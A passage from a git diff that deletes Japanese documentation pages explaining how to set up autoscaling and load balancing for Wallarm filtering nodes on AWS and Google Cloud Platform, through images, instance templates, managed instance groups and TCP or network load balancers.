Amazonが提供するオートスケーリング方式に関する詳細なFAQはこの[リンク][link-doc-as-faq]をご覧ください。 - -本ガイドではEC2 Auto Scalingを使用してフィルタリングノードのオートスケーリングを構成する方法を説明しますが、必要に応じてAWS Auto Scalingも使用できます。 - -!!! warning "前提条件" - オートスケーリングを設定するには、Wallarmフィルタリングノードを含む仮想マシンイメージ（Amazon Machine Image、AMI）が必要です。 - - フィルタリングノード入りのAMIの作成方法の詳細はこの[リンク][link-doc-ami-creation]をご覧ください。 - -!!! info "SSH秘密鍵" - フィルタリングノードに接続するために以前作成したSSH秘密鍵（PEM形式で保存）にアクセスできることを確認してください。 - -Amazonクラウドでフィルタリングノードのオートスケーリングを有効にするには、次の手順を実行します: - -1. [Amazon Machine Imageを作成](create-image.md) -1. [フィルタリングノードのオートスケーリングを設定][link-doc-asg-guide] - 1. [Launch Templateを作成][link-doc-create-template] - 2. [Auto Scaling Groupを作成][link-doc-create-asg] -1. [受信リクエストの負荷分散を設定][link-doc-lb-guide] - 1. [ロードバランサーを作成][link-doc-create-lb] - 2. [作成したロードバランサーを使用するようにAuto Scaling Groupを設定][link-doc-set-up-asg] \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-guides/amazon-cloud/create-image.md b/docs/latest-ja/admin-en/installation-guides/amazon-cloud/create-image.md deleted file mode 100644 index 6dc91573cb..0000000000 --- a/docs/latest-ja/admin-en/installation-guides/amazon-cloud/create-image.md +++ /dev/null @@ -1,92 +0,0 @@ -[link-docs-aws-autoscaling]: autoscaling-group-guide.md -[link-docs-aws-node-setup]: ../../../installation/cloud-platforms/aws/ami.md -[link-ssh-keys-guide]: ../../../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys-in-aws -[link-security-group-guide]: ../../../installation/cloud-platforms/aws/ami.md#2-create-a-security-group -[link-cloud-connect-guide]: ../../../installation/cloud-platforms/aws/ami.md#6-connect-the-instance-to-the-wallarm-cloud -[link-docs-reverse-proxy-setup]: ../../../installation/cloud-platforms/aws/ami.md#7-configure-sending-traffic-to-the-wallarm-instance -[link-docs-check-operation]: ../../../admin-en/uat-checklist-en.md#node-registers-attacks - -[img-launch-ami-wizard]: ../../../images/installation-ami/auto-scaling/common/create-image/launch-ami-wizard.png -[img-config-ami-wizard]: ../../../images/installation-ami/auto-scaling/common/create-image/config-ami-wizard.png -[img-explore-created-ami]: ../../../images/installation-ami/auto-scaling/common/create-image/explore-ami.png - -[anchor-node]: #1-creating-and-configuring-the-wallarm-filtering-node-instance-in-the-amazon-cloud -[anchor-ami]: #2-creating-an-amazon-machine-image - -# Wallarmフィルタリングノードを含むAMIの作成 - -AmazonクラウドにデプロイされたWallarmフィルタリングノードに対してオートスケーリングを設定できます。この機能を使用するには、事前に仮想マシンイメージを準備しておく必要があります。 - -本書では、WallarmフィルタリングノードをインストールしたAmazon Machine Image (AMI) の準備手順を説明します。AMIはフィルタリングノードのオートスケーリング設定に必要です。オートスケーリングの詳細については、この[リンク][link-docs-aws-autoscaling]をご覧ください。 - -Wallarmフィルタリングノードを含むAMIを作成するには、次の手順を実行します: - -1. [AmazonクラウドでWallarmフィルタリングノードインスタンスを作成して設定する][anchor-node] -2. [設定済みフィルタリングノードインスタンスを基にAMIを作成する][anchor-ami] - - -## 1. AmazonクラウドでWallarmフィルタリングノードインスタンスを作成して設定する - -AMIを作成する前に、まず1台のWallarmフィルタリングノードの初期設定を行う必要があります。フィルタリングノードを設定するには、次の手順を実行します。 - -1. Amazonクラウドでフィルタリングノードインスタンスを[作成][link-docs-aws-node-setup]します。 - - !!! warning "SSH秘密鍵" - フィルタリングノードへの接続用に以前[作成][link-ssh-keys-guide]したPEM形式で保管されているSSH秘密鍵にアクセスできることを確認してください。 - - !!! warning "フィルタリングノードにインターネット接続を提供する" - フィルタリングノードの正常な動作にはWallarm APIサーバーへのアクセスが必要です。使用中のWallarm Cloudによって接続先のWallarm APIサーバーが異なります： - - * US Cloudを使用している場合、ノードには`https://us1.api.wallarm.com`へのアクセス権限を付与する必要があります。 - * EU Cloudを使用している場合、ノードには`https://api.wallarm.com`へのアクセス権限を付与する必要があります。 - - 正しいVPCおよびサブネットを選択し、フィルタリングノードがWallarm APIサーバーへアクセスするのを妨げないように[セキュリティグループを構成][link-security-group-guide]してください。 - -2. フィルタリングノードをWallarm Cloudに[接続][link-cloud-connect-guide]します。 - - !!! warning "Wallarm Cloudへの接続にはトークンを使用してください" - フィルタリングノードはトークンを使用してWallarm Cloudに接続する必要がある点にご注意ください。同一のトークンを使用して複数のフィルタリングノードをWallarm Cloudに接続できます。 - - そのため、フィルタリングノードのオートスケーリング時に、各フィルタリングノードを手動でWallarm Cloudに接続する必要はありません。 - -3. アプリケーションとAPIのリバースプロキシとして機能するようにフィルタリングノードを[構成][link-docs-reverse-proxy-setup]します。 - -4. フィルタリングノードが正しく構成され、アプリケーションとAPIを悪意のあるリクエストから保護していることを[確認][link-docs-check-operation]します。 - -フィルタリングノードの構成が完了したら、次の操作で仮想マシンの電源をオフにします。 - -1. Amazon EC2ダッシュボードの**Instances**タブに移動します。 -2. 構成済みのフィルタリングノードインスタンスを選択します。 -3. ドロップダウンメニュー**Actions**で**Instance State**を選択し、続けて**Stop**を選択します。 - -!!! info "`poweroff`コマンドで電源をオフにする" - SSHプロトコルで接続し、次のコマンドを実行して仮想マシンの電源をオフにすることもできます。 - - ``` bash - poweroff - ``` - -## 2. Amazon Machine Imageの作成 - -設定済みフィルタリングノードインスタンスを基に仮想マシンイメージを作成できます。イメージを作成するには、次の手順を実行します。 - -1. Amazon EC2ダッシュボードの**Instances**タブに移動します。 -2. 構成済みのフィルタリングノードインスタンスを選択します。 -3. ドロップダウンメニュー**Actions**で**Image**を選択し、続けて**Create Image**を選択してイメージ作成ウィザードを起動します。 - - ![AMI作成ウィザードの起動][img-launch-ami-wizard] - -4. **Create Image**フォームが表示されます。**Image name**フィールドにイメージ名を入力します。残りのフィールドは変更しなくても問題ありません。 - - ![AMI作成ウィザードでのパラメータの設定][img-config-ami-wizard] - -5. **Create Image**ボタンをクリックして仮想マシンイメージの作成を開始します。 - - イメージ作成プロセスが完了すると、完了メッセージが表示されます。Amazon EC2ダッシュボードの**AMIs**タブに移動し、イメージが正常に作成され、ステータスが**Available**になっていることを確認します。 - - ![作成されたAMIの確認][img-explore-created-ami] - -!!! info "イメージの可視性" - 準備したイメージにはお使いのアプリケーション固有の設定とWallarmトークンが含まれるため、イメージの可視性設定を変更して公開することは推奨しません（既定ではAMIsは**Private**の可視性で作成されます）。 - -これで、準備したイメージを使用してAmazonクラウドでWallarmフィルタリングノードのオートスケーリングを[設定][link-docs-aws-autoscaling]できます。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md b/docs/latest-ja/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md deleted file mode 100644 index 3534e03f58..0000000000 --- a/docs/latest-ja/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md +++ /dev/null @@ -1,103 +0,0 @@ -[link-doc-asg-guide]: autoscaling-group-guide.md -[link-docs-check-operation]: ../../../admin-en/uat-checklist-en.md#node-registers-attacks - -[link-aws-lb-comparison]: https://docs.aws.amazon.com/elasticloadbalancing/latest/userguide/what-is-load-balancing.html?icmpid=docs_elbv2_console#elb-features - -[img-lb-basics]: ../../../images/installation-ami/auto-scaling/common/load-balancing-guide/lb-create-1.png -[img-lb-routing]: ../../../images/installation-ami/auto-scaling/common/load-balancing-guide/lb-create-3.png -[img-checking-operation]: ../../../images/admin-guides/test-attacks-quickstart.png - -[anchor-create]: #1-creating-a-load-balancer -[anchor-configure]: #2-setting-up-an-auto-scaling-group-for-using-the-created-balancer - -# AWSでLoad Balancerを作成する - -[設定済み][link-doc-asg-guide]のフィルタリングノードAuto Scaling Groupが用意できたら、受信するHTTPおよびHTTPS接続をそのAuto Scaling Group内の複数のフィルタリングノードに分散するLoad Balancerを作成・構成する必要があります。 - -Load Balancerの作成手順は次のとおりです: -1. [Load Balancerの作成][anchor-create] -2. [作成したバランサーを使用するためのAuto Scaling Groupの設定][anchor-configure] - -## 1. Load Balancerの作成 - -Amazonクラウドでは、以下の種類のLoad Balancerを構成できます: -* Classic Load Balancer -* Network Load Balancer -* Application Load Balancer - -!!! info "Load Balancerの違い" - Load Balancer間の違いの詳細は、この[リンク][link-aws-lb-comparison]を参照してください。 - -本書では、OSI/ISOネットワークモデルのトランスポート層でトラフィックを分散するNetwork Load Balancerの構成と使用方法を示します。 - -次の操作を実行してLoad Balancerを作成します: -1. Amazon EC2ダッシュボードの**Load Balancers**タブに移動し、**Create Load Balancer**ボタンをクリックします。 - -2. 該当する**Create**ボタンをクリックしてNetwork Load Balancerを作成します。 - -3. Load Balancerの基本パラメータを構成します: - - ![Load Balancerの基本パラメータの設定][img-lb-basics] - - 1. バランサーの名前（**Name**パラメータ）。 - - 2. バランサーのタイプ（**Scheme**パラメータ）。バランサーをインターネットで利用可能にするには、タイプに**internet-facing**を選択します。 - - 3. **Listeners**パラメータグループを使用して、バランサーが待ち受けるポートを指定します。 - - 4. バランサーを動作させるVPCとAvailability Zonesを指定します。 - - !!! info "Auto Scaling Groupの可用性を確認" - Load Balancerが正しく動作するよう、[以前に作成した][link-doc-asg-guide]Auto Scaling Groupを含むVPCとAvailability Zonesを選択していることを確認してください。 - -4. **Next: Configure Security Settings**ボタンをクリックして次のステップに進みます。 - - 必要に応じてセキュリティパラメータを構成します。 - -5. **Next: Configure Routing**ボタンをクリックして次のステップに進みます。 - - Auto Scaling Group内のフィルタリングノードへの受信リクエストのルーティングを構成します。 - - ![受信接続のルーティングの設定][img-lb-routing] - - 1. 新しいターゲットグループを作成し、その名前を**Name**フィールドに指定します。Load Balancerは、指定したターゲットグループに属するインスタンスに受信リクエストをルーティングします（例：`demo-target`）。 - - 2. リクエストのルーティングに使用するプロトコルとポートを設定します。 - - フィルタリングノード用に、プロトコルはTCP、ポートは80および443（HTTPSトラフィックがある場合）を指定します。 - - 3. 必要に応じて、**Health Checks**パラメータグループを使用して可用性チェックを構成します。 - -6. **Next: Register Targets**ボタンをクリックして次のステップに進みます。 - - このステップでは操作は不要です。 - -7. **Next: Review**ボタンをクリックして次のステップに進みます。 - - すべてのパラメータが正しく指定されていることを確認し、**Create**ボタンをクリックしてLoad Balancerの作成を開始します。 - -!!! info "Load Balancerの初期化完了まで待機" - Load Balancerが作成された後、トラフィックを受け入れられる状態になるまでに一定の時間が必要です。 - -## 2. 作成したバランサーを使用するためのAuto Scaling Groupの設定 - -以前に作成したLoad Balancerを使用するようにAuto Scaling Groupを構成します。これにより、グループで起動されたフィルタリングノードインスタンスに対して、バランサーがトラフィックをルーティングできるようになります。 - -次の操作を実行します: -1. Amazon EC2ダッシュボードの**Auto Scaling Groups**タブに移動し、[以前に作成した][link-doc-asg-guide]Auto Scaling Groupを選択します。 - -2. **Actions**ドロップダウンメニューで*Edit*を選択し、グループ設定の編集ダイアログを開きます。 - -3. Load Balancerの設定時に[作成][anchor-create]したターゲットグループ**demo-target**を、**Target groups**ドロップダウンリストで選択します。 - -4. **Save**ボタンをクリックして変更を適用します。 - -これで、動的にスケールするWallarmフィルタリングノードのセットが、アプリケーションへの受信トラフィックを処理します。 - -デプロイしたフィルタリングノードの動作を確認するには、次の手順を実行します。 - -1. ブラウザでLoad BalancerおよびWallarmフィルタリングノードを介してアプリケーションにアクセスできることを、バランサーのIPアドレスまたはドメイン名にアクセスして確認します。 - -2. [テスト攻撃を実行][link-docs-check-operation]して、Wallarmサービスがアプリケーションを保護していることを確認します。 - -![フィルタリングノードの動作確認][img-checking-operation] \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-guides/google-cloud/autoscaling-overview.md b/docs/latest-ja/admin-en/installation-guides/google-cloud/autoscaling-overview.md deleted file mode 100644 index 7fd41604cf..0000000000 --- a/docs/latest-ja/admin-en/installation-guides/google-cloud/autoscaling-overview.md +++ /dev/null @@ -1,26 +0,0 @@ -[link-doc-image-creation]: create-image.md -[link-doc-template-creation]: creating-instance-template.md -[link-doc-managed-autoscaling-group]: creating-autoscaling-group.md -[link-doc-lb-guide]: load-balancing-guide.md - -# Google Cloud Platformでのフィルタリングノードのオートスケーリング設定: 概要 - -Google Cloud Platform(GCP)上でWallarmフィルタリングノードのオートスケーリングを設定すると、トラフィックの変動（ある場合）にフィルタリングノードが対応できるようになります。オートスケーリングを有効にすると、トラフィックが大幅に増加したときでも、フィルタリングノードを使用してアプリケーションへの受信リクエストを処理できます。 - -!!! warning "前提条件" - オートスケーリングの設定にはWallarmフィルタリングノードを含む仮想マシンのイメージが必要です。 - - GCPでWallarmフィルタリングノードを含む仮想マシンのイメージを作成する方法の詳細は、この[リンク][link-doc-image-creation]をご覧ください。 - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -Google Cloud Platform上でフィルタリングノードをオートスケールするには、次の手順を実行します: - -1. [Machine Imageを作成します](create-image.md) -1. フィルタリングノードのオートスケーリングを設定します: - 1. [フィルタリングノードのインスタンステンプレートを作成します][link-doc-template-creation]; - 2. [オートスケーリングを有効にしたマネージドインスタンスグループを作成します][link-doc-managed-autoscaling-group]; -1. [受信リクエストの負荷分散を設定します][link-doc-lb-guide]. - -!!! info "必要な権限" - オートスケーリングを設定する前に、ご使用のGCPアカウントに`Compute Admin`ロールが付与されていることを確認してください。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-guides/google-cloud/create-image.md b/docs/latest-ja/admin-en/installation-guides/google-cloud/create-image.md deleted file mode 100644 index 04474bc048..0000000000 --- a/docs/latest-ja/admin-en/installation-guides/google-cloud/create-image.md +++ /dev/null @@ -1,76 +0,0 @@ -[link-docs-gcp-autoscaling]: autoscaling-overview.md -[link-docs-gcp-node-setup]: ../../../installation/cloud-platforms/gcp/machine-image.md -[link-cloud-connect-guide]: ../../../installation/cloud-platforms/gcp/machine-image.md#5-connect-the-filtering-node-to-the-wallarm-cloud -[link-docs-reverse-proxy-setup]: ../../../installation/cloud-platforms/gcp/machine-image.md#6-configure-sending-traffic-to-the-wallarm-instance -[link-docs-check-operation]: ../../../admin-en/uat-checklist-en.md#node-registers-attacks - -[img-vm-instance-poweroff]: ../../../images/installation-gcp/auto-scaling/common/create-image/vm-poweroff.png -[img-create-image]: ../../../images/installation-gcp/auto-scaling/common/create-image/create-image.png -[img-check-image]: ../../../images/installation-gcp/auto-scaling/common/create-image/image-list.png - -[anchor-node]: #1-creating-and-configuring-the-filtering-node-instance-on-the-google-cloud-platform -[anchor-gcp]: #2-creating-a-virtual-machine-image - -# Google Cloud Platform上でのWallarmフィルタリングノードを含むイメージの作成 - -Google Cloud Platform(GCP)にデプロイされたWallarmフィルタリングノードのオートスケーリングを設定するには、まず仮想マシンイメージが必要です。このドキュメントでは、Wallarmフィルタリングノードをインストールした仮想マシンのイメージを準備する手順について説明します。オートスケーリングの設定に関する詳細は、この[リンク][link-docs-gcp-autoscaling]をご覧ください。 - -GCP上でWallarmフィルタリングノードを含むイメージを作成するには、次の手順を実行します。 -1. [Google Cloud Platform上でのフィルタリングノードインスタンスの作成と設定][anchor-node]。 -2. [構成済みフィルタリングノードインスタンスに基づく仮想マシンイメージの作成][anchor-gcp]。 - -## 1. Google Cloud Platform上でのフィルタリングノードインスタンスの作成と設定 {#1-creating-and-configuring-the-filtering-node-instance-on-the-google-cloud-platform} - -イメージを作成する前に、単一のWallarmフィルタリングノードの初期設定を行う必要があります。フィルタリングノードを設定するには、次の操作を実行します。 -1. GCP上にフィルタリングノードインスタンスを[作成して設定][link-docs-gcp-node-setup]します。 - - !!! warning "フィルタリングノードにインターネット接続を確保してください" - フィルタリングノードの適切な動作にはWallarm API serverへのアクセスが必要です。使用しているWallarm Cloudに応じて、接続先のWallarm API serverが異なります。 - - * US Cloudを使用している場合は、ノードに`https://us1.api.wallarm.com`へのアクセスを許可する必要があります。 - * EU Cloudを使用している場合は、ノードに`https://api.wallarm.com`へのアクセスを許可する必要があります。 - - --8<-- "../include/gcp-autoscaling-connect-ssh.md" - -2. フィルタリングノードをWallarm Cloudに[接続][link-cloud-connect-guide]します。 - - !!! warning "Wallarm Cloudへの接続にはトークンを使用してください" - フィルタリングノードはトークンを使用してWallarm Cloudに接続する必要があります。同じトークンを使用して複数のフィルタリングノードをWallarm Cloudに接続することができます。 - - したがって、オートスケーリング時に各フィルタリングノードを手動でWallarm Cloudに接続する必要はありません。 - -3. フィルタリングノードを、アプリケーションとAPIのリバースプロキシとして動作するように[構成][link-docs-reverse-proxy-setup]します。 - -4. フィルタリングノードが正しく構成され、アプリケーションとAPIを悪意のあるリクエストから保護していることを[確認][link-docs-check-operation]します。 - -フィルタリングノードの設定が完了したら、次の操作を実行して仮想マシンの電源をオフにします。 -1. メニューの**Compute Engine**セクションにある**VM Instances**ページに移動します。 -2. **Connect**列の右側にあるメニューボタンをクリックしてドロップダウンメニューを開きます。 -3. ドロップダウンメニューで**Stop**を選択します。 - -![仮想マシンの電源をオフにする][img-vm-instance-poweroff] - -!!! info "`poweroff`コマンドを使用したシャットダウン" - SSHプロトコルで接続し、次のコマンドを実行して仮想マシンの電源をオフにすることもできます。 - - ``` bash - poweroff - ``` - -## 2. 仮想マシンイメージの作成 {#2-creating-a-virtual-machine-image} - -構成済みのフィルタリングノードインスタンスに基づいて、仮想マシンイメージを作成できます。イメージを作成するには、次の手順を実行します。 -1. メニューの**Compute Engine**セクションにある**Images**ページに移動し、**Create image**ボタンをクリックします。 -2. イメージ名を**Name**フィールドに入力します。 -3. **Source**ドロップダウンリストから**Disk**を選択します。 -4. **Source disk**ドロップダウンリストから、[以前に作成した][anchor-node]仮想マシンインスタンスの名前を選択します。 - - ![イメージの作成][img-create-image] - -5. **Create**ボタンをクリックして、仮想マシンイメージの作成プロセスを開始します。 - -イメージの作成プロセスが完了すると、使用可能なイメージの一覧を含むページに移動します。イメージが正常に作成され、一覧に表示されていることを確認します。 - -![イメージの一覧][img-check-image] - -これで、準備したイメージを使用して、Google Cloud Platform上のWallarmフィルタリングノードの[オートスケーリングを設定][link-docs-gcp-autoscaling]できます。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md b/docs/latest-ja/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md deleted file mode 100644 index 4342002cbb..0000000000 --- a/docs/latest-ja/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md +++ /dev/null @@ -1,63 +0,0 @@ -[img-creating-instance-group]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-instance-group.png -[img-create-instance-group-example]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-scalable-instance-group.png -[img-checking-nodes-operation]: ../../../images/cloud-node-status.png - -[link-cpu-usage-policy]: https://cloud.google.com/compute/docs/autoscaler/scaling-cpu-load-balancing -[link-http-load-balancing-policy]: https://cloud.google.com/compute/docs/autoscaler/scaling-cpu-load-balancing#scaling_based_on_https_load_balancing_serving_capacity -[link-stackdriver-monitoring-metric-policy]: https://cloud.google.com/compute/docs/autoscaler/scaling-stackdriver-monitoring-metrics -[link-multiple-metrics-policy]: https://cloud.google.com/compute/docs/autoscaler/multiple-policies -[link-creating-load-balancer]: load-balancing-guide.md - -# オートスケーリングを有効にしたマネージドインスタンスグループの作成 - -マネージドインスタンスグループを作成し、そのオートスケーリングを構成するには、次の手順を実行します。 - -1. メニューの**Compute Engine**セクションにある**Instance groups**ページに移動し、**Create instance group**ボタンをクリックします。 - - ![インスタンスグループの作成][img-creating-instance-group] - -2. **Name**フィールドにインスタンスグループ名を入力します。 - -3. **Group type**設定で**Managed instance group**を選択します。 - -4. **Autoscaling**ドロップダウンリストから**On**オプションを選択して、インスタンスグループのオートスケーリングを有効にします。 - -5. **Autoscaling policy**ドロップダウンリストから必要なスケーリングポリシーを選択します。 - - スケーリングポリシーには、インスタンスグループの規模を拡大・縮小するためのルールが含まれます。ポリシーの基礎となるメトリックをユーザーが定義した目標値に維持するために、いつグループにインスタンスを追加または削除すべきかをシステムが判断します。 - - 次のいずれかのポリシーを選択できます: - - 1. CPU Usage: グループ内の仮想マシンの平均CPU使用率が所定のレベルになるように、グループの規模を制御します（[CPU Usageポリシーのドキュメント][link-cpu-usage-policy]）。 - 2. HTTP Load Balancing Usage: HTTPロードバランサの負荷が所定のレベルになるように、グループの規模を制御します（[HTTP Load Balancing Usageポリシーのドキュメント][link-http-load-balancing-policy]）。 - 3. Stackdriver Monitoring Metric: Stackdriver Monitoringで選択したメトリクスが所定のレベルになるように、グループの規模を制御します（[Stackdriver Monitoring Metricポリシーのドキュメント][link-stackdriver-monitoring-metric-policy]）。 - 4. Multiple Metrics: 複数のメトリクスに基づいて、グループの規模を変更するかどうかを判断します（[Multiple Metricsポリシーのドキュメント][link-multiple-metrics-policy]）。 - - このガイドでは、オートスケーリングの仕組みを説明するために**CPU usage**ポリシーを使用します。 - - このポリシーを適用するには、**Target CPU usage**フィールドに必要な平均CPU使用率（パーセンテージ）を指定します。 - - !!! info "例" - 次の設定は、仮想マシンの平均CPU使用率を60%に維持するようインスタンスグループの規模を制御する例です。 - ![例: インスタンスグループの作成][img-create-instance-group-example] - -6. **Minimum number of instances**フィールドに最小のインスタンスグループ規模を指定します（例: 2台）。 - -7. **Maximum number of instances**フィールドに最大のインスタンスグループ規模を指定します（例: 10台）。 - -8. **Cool down period**フィールドに、新しく追加されたインスタンスからのメトリクス値を記録しない期間を指定します（例: 60秒）。新しいインスタンスを追加した直後にリソース消費が急増する場合に必要になることがあります。 - - !!! info "クールダウン期間の要件" - クールダウン期間は、インスタンスの初期化に必要な時間より長くする必要があります。 - -9. インスタンスグループのすべてのパラメータが正しく構成されていることを確認し、**Create**ボタンをクリックします。 - -オートスケーリンググループが正常に作成されると、指定した数のインスタンスが自動的に起動します。 - -グループで起動中のインスタンス数を確認し、それをWallarm Cloudに接続されたフィルタリングノードの数と比較することで、オートスケーリンググループが正しく作成されたことを確認できます。 - -これはWallarm Consoleで確認できます。例えば、フィルタリングノードを搭載したインスタンスが2台同時に稼働している場合、Wallarm Consoleの**Nodes**セクションで、該当するWallarm nodeに対してこの数が表示されます。 - -![WallarmのWebインターフェイスの**Nodes**タブ][img-checking-nodes-operation] - -次に、[ロードバランサの作成と構成][link-creating-load-balancer]に進むことができます。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-guides/google-cloud/creating-instance-template.md b/docs/latest-ja/admin-en/installation-guides/google-cloud/creating-instance-template.md deleted file mode 100644 index 3d33a6f34a..0000000000 --- a/docs/latest-ja/admin-en/installation-guides/google-cloud/creating-instance-template.md +++ /dev/null @@ -1,36 +0,0 @@ -# GCPでのフィルタリングノードのインスタンステンプレート作成 - -[img-creating-template]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-instance-template.png -[img-selecting-image]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/select-image.png - -[link-creating-image]: create-image.md -[link-creating-instance-group]: creating-autoscaling-group.md - -フィルタリングノードのインスタンステンプレートは、後でマネージドインスタンスグループを作成する際のベースとして使用します。フィルタリングノードのインスタンステンプレートを作成するには、次の手順を実行します。 - -1. メニューの**Compute Engine**セクション内の**Instance templates**ページに移動し、**Create instance template**ボタンをクリックします。 - - ![インスタンステンプレートの作成][img-creating-template] - -2. **Name**フィールドにテンプレート名を入力します。 -3. **Machine type**フィールドから、フィルタリングノードを稼働させる仮想マシンのタイプを選択します。 - - !!! warning "適切なインスタンスタイプの選択" - 初期設定時にフィルタリングノードで使用したものと同じインスタンスタイプ（またはより高性能なもの）を選択します。 - - より性能の劣るインスタンスタイプを使用すると、フィルタリングノードの動作に問題が発生する可能性があります。 - -4. **Boot disk**設定の**Change**ボタンをクリックします。表示されたウィンドウで**Custom images**タブに移動し、**Show images from**ドロップダウンリストからイメージを作成したプロジェクト名を選択します。プロジェクトの利用可能なイメージの一覧から[以前に作成したイメージ][link-creating-image]を選択し、**Select**ボタンをクリックします。 - - ![イメージの選択][img-selecting-image] - -5. テンプレートに基づいて作成されるインスタンスがベースインスタンスと同一になるよう、[ベースインスタンスを作成した際][link-creating-image]と同じ方法で、残りのパラメータをすべて設定します。 - - !!! info "ファイアウォールの設定" - 作成したテンプレートへのHTTPトラフィックをファイアウォールがブロックしていないことを確認します。HTTPトラフィックを許可するには、**Allow HTTP traffic**チェックボックスを選択します。 - - --8<-- "../include/gcp-autoscaling-connect-ssh.md" - -6. **Create**ボタンをクリックし、テンプレートの作成プロセスが完了するまで待ちます。 - -インスタンステンプレートの作成後は、自動スケーリングを有効にした[マネージドインスタンスグループの作成][link-creating-instance-group]に進むことができます。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-guides/google-cloud/load-balancing-guide.md b/docs/latest-ja/admin-en/installation-guides/google-cloud/load-balancing-guide.md deleted file mode 100644 index 915eabbe8b..0000000000 --- a/docs/latest-ja/admin-en/installation-guides/google-cloud/load-balancing-guide.md +++ /dev/null @@ -1,124 +0,0 @@ -[link-doc-asg-guide]: creating-autoscaling-group.md -[link-docs-check-operation]: ../../../admin-en/uat-checklist-en.md -[link-lb-comparison]: https://cloud.google.com/load-balancing/docs/load-balancing-overview -[link-creating-instance-group]: creating-autoscaling-group.md -[link-backup-resource]: https://cloud.google.com/load-balancing/docs/target-pools#backupPool -[link-health-check]: https://cloud.google.com/load-balancing/docs/health-checks -[link-session-affinity]: https://cloud.google.com/load-balancing/docs/target-pools#sessionaffinity -[link-test-attack]: ../../../admin-en/uat-checklist-en.md#node-registers-attacks -[link-network-service-tier]: https://cloud.google.com/network-tiers/docs/ - -[img-backend-configuration]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/backend-configuration.png -[img-creating-lb]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/creating-load-balancer.png -[img-creating-tcp-lb]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/creating-tcp-load-balancer.png -[img-new-frontend-ip-and-port]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/frontend-configuration.png -[img-checking-attacks]: ../../../images/admin-guides/test-attacks-quickstart.png - - -# GCPでの受信リクエストの負荷分散の設定 - -オートスケーリングを有効にした[構成済み][link-doc-asg-guide]のManaged instance groupが用意できたので、インスタンスグループ内の複数のフィルタリングノード間で受信HTTPおよびHTTPS接続を分散するLoad Balancerを作成・設定する必要があります。 - -Google Cloud Platformで設定できるLoad Balancerの種類は次のとおりです: -* HTTP(S) Load Balancer -* TCP Load Balancer -* UDP Load Balancer - -!!! info "Load Balancerの違い" - Load Balancer間の違いの詳細は、この[リンク][link-lb-comparison]をご参照ください。 - -本ドキュメントでは、OSI/ISOネットワークモデルのトランスポート層でトラフィックを分散するTCP Load Balancerの設定と使用方法を説明します。 - -次の手順を実行して、インスタンスグループ用のTCP Load Balancerを作成します: - -1. メニューの**Network services**セクションにある**Load balancing**ページに移動し、**Create load balancer**ボタンをクリックします。 - -2. **TCP load balancing**カードで**Start configuration**ボタンをクリックします。 - -3. 次の設定で必要なオプションを選択します: - - 1. ロードバランサーがクライアントからサーバーへの受信リクエストを制御できるよう、**Internet facing or internal only**設定で**From Internet to my VMs**オプションを選択します。 - - 2. **Multiple regions or single region**設定で**Single region only**オプションを選択します。 - - !!! info "異なるリージョンにあるリソースのトラフィック分散" - このガイドでは、単一リージョンにある1つのインスタンスグループに対するロードバランサーの設定について説明します。 - - 複数リージョンに配置された複数リソース間でトラフィックを分散する場合は、**Multiple regions (or not sure yet)**オプションを選択します。 - - ![Load Balancerの作成][img-creating-lb] - - **Continue**ボタンをクリックします。 - -4. **Name**フィールドにロードバランサーの名前を入力します。 - -5. ロードバランサーが受信リクエストを転送するバックエンドとして[作成済みのインスタンスグループ][link-creating-instance-group]を使用するため、**Backend configuration**をクリックします。 - -6. 次の内容でフォームに入力します: - - 1. **Region**ドロップダウンリストからインスタンスグループが存在するリージョンを選択します。 - - 2. **Backends**設定の**Select existing instance groups**タブに移動し、**Add an instance group**ドロップダウンリストからインスタンスグループ名を選択します。 - - 3. 必要に応じて、**Backup Pool**ドロップダウンリストから**Create a backup pool**オプションを選択してバックアッププールを指定します。 - - !!! info "バックアッププールの使用" - バックアッププールは、前の設定で選択したインスタンスグループが利用できない場合にリクエストを処理します。バックアッププールの設定の詳細は、この[リンク][link-backup-resource]をご参照ください。 - - 本ドキュメントではバックアッププールの設定は取り扱いません。 - - 4. 必要に応じて、**Health check**ドロップダウンリストで**Create a health check**オプションを選択し、グループインスタンスの可用性チェックを構成します。マシンの可用性チェックの詳細は、この[リンク][link-health-check]をご参照ください。 - - !!! info "可用性チェック" - 本ドキュメントの範囲では可用性チェックは構成しません。そのため、ここでは**Health check**ドロップダウンリストで**No health check**オプションを選択します。 - - 5. 必要に応じて、**Session affinity**ドロップダウンリストで該当するオプションを選択し、リクエスト処理に使用するインスタンスの選択方法を構成します。リクエスト処理用インスタンスの選択に関する詳細は、この[リンク][link-session-affinity]をご参照ください。 - - !!! info "インスタンス選択方法の構成" - リクエスト処理に使用するインスタンスの選択方法は本ドキュメントの範囲外です。そのため、ここでは**Session affinity**ドロップダウンリストで**None**オプションを選択します。 - - ![バックエンドの構成][img-backend-configuration] - -7. **Frontend configuration**ボタンをクリックし、クライアントがリクエストを送信するIPアドレスとポートを指定します。 - -8. 新しいIPアドレスとポートの作成用フォームに必要事項を入力します: - - 1. 必要に応じて、**Name**フィールドに新しいIPアドレスとポートのペアの名前を入力します。 - - 2. **Network Service Tier**設定で必要なネットワークサービス階層を選択します。ネットワークサービス階層の詳細は、この[リンク][link-network-service-tier]をご参照ください。 - - 3. 